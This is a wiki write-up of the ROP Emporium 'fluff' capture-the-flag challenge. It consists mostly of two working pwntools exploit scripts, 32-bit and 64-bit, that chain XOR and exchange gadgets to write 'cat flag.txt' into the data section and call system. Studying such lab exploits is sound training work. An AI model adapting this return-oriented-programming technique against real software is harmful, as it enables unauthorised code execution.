Wiki
  • Init
  • NOTES
    • Windows Tricks
    • Enumeration Tricks
  • WRITEUPS
    • HackTheBox
      • Linux
        • Lame
        • Bashed
        • Shocker
        • Nibbles
        • Beep
        • Sense
        • Valentine
        • Blocky
        • Mirai
        • Popcorn
        • October
        • Bank
      • Windows
        • Devel
        • Blue
        • Jerry
        • Legacy
        • Optimum
        • Arctic
        • Bounty
        • Grandpa
        • Granny
        • Bastard
        • Silo
        • Jeeves
        • Access
        • Active
        • Querier
        • SecNotes
        • Chatterbox
    • Pwnable.kr
      • collision
      • fd
      • bof
      • flag
    • Exploit Education
      • Protostar
    • Rop Emporium
      • ret2win
      • split
      • callme
      • write4
      • badchars
      • fluff
      • pivot
  • Exploitation Practice
    • SLMail 5.5
    • FreeFloat FTP Server 1.0
  • Study Notes
    • Practical Binary Analysis
Powered by GitBook
On this page
  • Analysis
  • 32 bit
  • 64 bit

Was this helpful?

  1. WRITEUPS
  2. Rop Emporium

fluff

Analysis

The challenges was similar to that of write4, the only difference was in building creative ROP chains, everything else was similar, had to get a working write primitive, load the string into the memory, and call system to get the flag.

32 bit

from pwn import *

# --> 0x0804868c: mov edx, 0xdefaced0; ret;
# --> 0x080483e1: pop ebx; ret;
# --> 0x0804867b: xor edx, ebx; pop ebp; mov edi, 0xdeadbabe; ret;
# --> 0x08048689: xchg edx, ecx; pop ebp; mov edx, 0xdefaced0; ret;
# --> 0x08048693: mov dword ptr [ecx], edx; pop ebp; pop ebx; xor byte ptr [ecx], bl; ret;
# --> 0x08048430: System call

## ----------------------------- Sequence
## XOR the address of data section with EDX value
## Move the EDX value to EDX
## Stored the XORed address into EBX
## XOR EDX and EBX -> EDX has the actual address for the data section
## Xchange the values for ECX and EDX -> ECX has the address for data section
## XOR the chunk with EDX value
## Move the EDX value into EDX
## Store the XORed chunk into EBX
## Execute the XOR EDX and EBX --> Actual Chunk value is in EDX
## Move the Chunk from EDX to data section


rop_chain = []
offset = "A" * 44

load_edx = 					0x0804868c
load_ebx = 					0x080483e1
xor_edx_ebx = 				0x0804867b
xchg_edx_ecx =			 	0x08048689
store_chunk = 				0x08048693
data_section = 				0x0804a028
edx_val = 					0xdefaced0
random_pop_val = 			0xdeadbeef
system = 					0x08048430

flag_text = "cat flag.txt"

def get_hex_arr():
	arr = re.findall('.{4}', flag_text)
	return [e[::-1].encode("hex") for e in arr]

ptr = 0
for chunk in get_hex_arr():
	rop_chain.append(p32(load_edx))
	rop_chain.append(p32(load_ebx))
	xored_data_section = (data_section + ptr) ^ edx_val
	rop_chain.append(p32(xored_data_section))
	rop_chain.append(p32(xor_edx_ebx))
	rop_chain.append(p32(random_pop_val))
	rop_chain.append(p32(xchg_edx_ecx))
	rop_chain.append(p32(random_pop_val))
	rop_chain.append(p32(load_edx))
	rop_chain.append(p32(load_ebx))
	rop_chain.append(p32(int(chunk, 16) ^ edx_val))
	rop_chain.append(p32(xor_edx_ebx))
	rop_chain.append(p32(random_pop_val))
	rop_chain.append(p32(store_chunk))
	rop_chain.append(p32(random_pop_val))
	rop_chain.append(p32(0))
	ptr += 4

rop_chain.append(p32(system))
rop_chain.append(p32(0))
rop_chain.append(p32(data_section))

print offset + ''.join(rop_chain)

64 bit

from pwn import *

## 0x0000000000400832: pop r12; mov r13d, 0x604060; ret; 
## 0x000000000040082f: xor r11, r12; pop r12; mov r13d, 0x604060; ret; 
## 0x0000000000400822: xor r11, r11; pop r14; mov edi, 0x601050; ret; 
## 0x0000000000400840: xchg r11, r10; pop r15; mov r11d, 0x602050; ret; 
## 0x000000000040084e: mov qword ptr [r10], r11; pop r13; pop r12; xor byte ptr [r10], r12b; ret; 
## 0x00000000004008c3: pop rdi; ret; 

## ----------------------------- Sequence
## Load the address into r12
## Clear r11
## Xor r11 and r12 to get the value of address into r11
## exchange r11 and r10 to get the value of address into r10
## Load the chunk into r12
## Clear r11
## Xor r11 and r12 to get the chunk into r11
## Execute the move instruction


rop_chain = []
offset = "A" * 40

clear_r11 = 				0x400822
load_rdi = 					0x4008c3
load_r12 = 					0x400832
xor_r11_r12 = 				0x40082f
xchg_r11_r10 = 				0x400840
store_chunk = 				0x40084e
data_section = 				0x601050
pop_null_val =	 			0x000000
system = 					0x4005e0

flag_text = "cat flag.txt\x00\x00\x00\x00"

def get_hex_arr():
	arr = re.findall('.{8}', flag_text)
	return [e[::-1].encode("hex") for e in arr]

ptr = 0
for chunk in get_hex_arr():
	## Load the address into the position
	rop_chain.append(p64(load_r12))
	rop_chain.append(p64(data_section + ptr))

	rop_chain.append(p64(clear_r11))
	rop_chain.append(p64(pop_null_val))

	rop_chain.append(p64(xor_r11_r12))
	rop_chain.append(p64(pop_null_val))	

	rop_chain.append(p64(xchg_r11_r10))
	rop_chain.append(p64(pop_null_val))

	## Load the chunk into the position
	rop_chain.append(p64(load_r12))
	rop_chain.append(p64(int(chunk, 16)))

	rop_chain.append(p64(clear_r11))
	rop_chain.append(p64(pop_null_val))

	rop_chain.append(p64(xor_r11_r12))
	rop_chain.append(p64(pop_null_val))

	## Store the chunk into the data section	
	rop_chain.append(p64(store_chunk))
	rop_chain.append(p64(pop_null_val))
	rop_chain.append(p64(pop_null_val))

	ptr += 8

rop_chain.append(p64(load_rdi))
rop_chain.append(p64(data_section))
rop_chain.append(p64(system))

print offset + ''.join(rop_chain)

PreviousbadcharsNextpivot

Last updated 5 years ago

Was this helpful?